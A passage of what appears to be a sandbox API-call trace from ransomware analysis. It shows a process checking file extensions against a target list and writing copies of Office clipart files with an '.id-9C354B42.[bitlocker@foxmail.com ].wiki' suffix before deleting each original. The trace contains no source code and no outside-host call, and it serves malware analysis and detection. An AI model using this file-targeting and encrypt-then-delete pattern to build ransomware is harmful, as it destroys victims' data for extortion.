lpString2=".WMF") returned 1 [0061.111] lstrlenW (lpString=".rar") returned 4 [0061.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString=".bz2") returned 4 [0061.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString=".7z") returned 3 [0061.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString=".dbf") returned 4 [0061.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString=".1cd") returned 4 [0061.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString=".jpg") returned 4 [0061.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString=".doc") returned 4 [0061.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString=".docx") returned 5 [0061.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.112] lstrlenW (lpString=".pdf") returned 4 [0061.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString=".xls") returned 4 [0061.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.112] lstrlenW (lpString=".xlsx") returned 5 [0061.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.112] lstrlenW (lpString=".ppt") returned 4 [0061.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString=".zip") returned 4 [0061.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.112] lstrlenW (lpString=".rar") returned 4 [0061.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString=".bz2") returned 4 [0061.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString=".7z") returned 3 [0061.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString=".dbf") returned 4 [0061.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString=".1cd") returned 4 [0061.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.112] lstrlenW (lpString=".jpg") returned 4 [0061.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.113] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.113] lstrlenW (lpString="AN01184_.WMF") returned 12 [0061.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.113] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3746) returned 1 [0061.113] CloseHandle (hObject=0x1f0) returned 1 [0061.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0061.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.113] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.113] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.114] GetLastError () returned 0x0 [0061.114] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xea2, lpOverlapped=0x0) returned 1 [0061.115] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0061.116] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.116] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.116] SetEndOfFile (hFile=0x1e8) returned 1 [0061.116] CloseHandle (hObject=0x1e8) returned 1 [0061.116] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.116] SetEndOfFile (hFile=0x1f0) returned 1 [0061.117] CloseHandle (hObject=0x1f0) returned 1 [0061.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString=".doc") returned 4 [0061.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString=".docx") returned 5 [0061.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.118] lstrlenW (lpString=".pdf") returned 4 [0061.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString=".xls") returned 4 [0061.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.118] lstrlenW (lpString=".xlsx") returned 5 [0061.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.118] lstrlenW (lpString=".ppt") returned 4 [0061.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString=".zip") returned 4 [0061.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.118] lstrlenW (lpString=".rar") returned 4 [0061.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString=".bz2") returned 4 [0061.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString=".7z") returned 3 [0061.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString=".dbf") returned 4 [0061.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString=".1cd") returned 4 [0061.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.118] lstrlenW (lpString=".jpg") returned 4 [0061.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString=".doc") returned 4 [0061.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString=".docx") returned 5 [0061.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.119] lstrlenW (lpString=".pdf") returned 4 [0061.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString=".xls") returned 4 [0061.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.119] lstrlenW (lpString=".xlsx") returned 5 [0061.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.119] lstrlenW (lpString=".ppt") returned 4 [0061.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString=".zip") returned 4 [0061.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.119] lstrlenW (lpString=".rar") returned 4 [0061.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString=".bz2") returned 4 [0061.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString=".7z") returned 3 [0061.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString=".dbf") returned 4 [0061.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString=".1cd") returned 4 [0061.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0061.119] lstrlenW (lpString=".jpg") returned 4 [0061.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.120] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.120] lstrlenW (lpString="AN01216_.WMF") returned 12 [0061.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.120] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5836) returned 1 [0061.120] CloseHandle (hObject=0x1f0) returned 1 [0061.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0061.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.120] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.120] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.120] GetLastError () returned 0x0 [0061.121] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0061.286] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0061.306] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.311] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.313] SetEndOfFile (hFile=0x1e8) returned 1 [0061.313] CloseHandle (hObject=0x1e8) returned 1 [0061.315] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.315] SetEndOfFile (hFile=0x1f0) returned 1 [0061.316] CloseHandle (hObject=0x1f0) returned 1 [0061.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0061.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.316] lstrlenW (lpString=".doc") returned 4 [0061.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.316] lstrlenW (lpString=".docx") returned 5 [0061.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.316] lstrlenW (lpString=".pdf") returned 4 [0061.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.316] lstrlenW (lpString=".xls") returned 4 [0061.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.316] lstrlenW (lpString=".xlsx") returned 5 [0061.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.316] lstrlenW (lpString=".ppt") returned 4 [0061.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.316] lstrlenW (lpString=".zip") returned 4 [0061.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.316] lstrlenW (lpString=".rar") returned 4 [0061.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".bz2") returned 4 [0061.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".7z") returned 3 [0061.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString=".dbf") returned 4 [0061.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString=".1cd") returned 4 [0061.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString=".jpg") returned 4 [0061.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString=".doc") returned 4 [0061.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".docx") returned 5 [0061.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.317] lstrlenW (lpString=".pdf") returned 4 [0061.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".xls") returned 4 [0061.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.317] lstrlenW (lpString=".xlsx") returned 5 [0061.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.317] lstrlenW (lpString=".ppt") returned 4 [0061.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.317] lstrlenW (lpString=".zip") returned 4 [0061.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.317] lstrlenW (lpString=".rar") returned 4 [0061.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".bz2") returned 4 [0061.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.317] lstrlenW (lpString=".7z") returned 3 [0061.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.318] lstrlenW (lpString=".dbf") returned 4 [0061.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.318] lstrlenW (lpString=".1cd") returned 4 [0061.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0061.318] lstrlenW (lpString=".jpg") returned 4 [0061.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.318] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.318] lstrlenW (lpString="AN04191_.WMF") returned 12 [0061.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.318] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6636) returned 1 [0061.318] CloseHandle (hObject=0x1f0) returned 1 [0061.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0061.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.318] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.318] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.319] GetLastError () returned 0x0 [0061.319] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0061.320] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0061.321] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.321] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.321] SetEndOfFile (hFile=0x1e8) returned 1 [0061.321] CloseHandle (hObject=0x1e8) returned 1 [0061.322] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.322] SetEndOfFile (hFile=0x1f0) returned 1 [0061.322] CloseHandle (hObject=0x1f0) returned 1 [0061.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0061.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.323] lstrlenW (lpString=".doc") returned 4 [0061.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString=".docx") returned 5 [0061.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.323] lstrlenW (lpString=".pdf") returned 4 [0061.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString=".xls") returned 4 [0061.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.323] lstrlenW (lpString=".xlsx") returned 5 [0061.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.323] lstrlenW (lpString=".ppt") returned 4 [0061.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.323] lstrlenW (lpString=".zip") returned 4 [0061.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.323] lstrlenW (lpString=".rar") returned 4 [0061.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString=".bz2") returned 4 [0061.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString=".7z") returned 3 [0061.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.323] lstrlenW (lpString=".dbf") returned 4 [0061.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString="C:\\Program 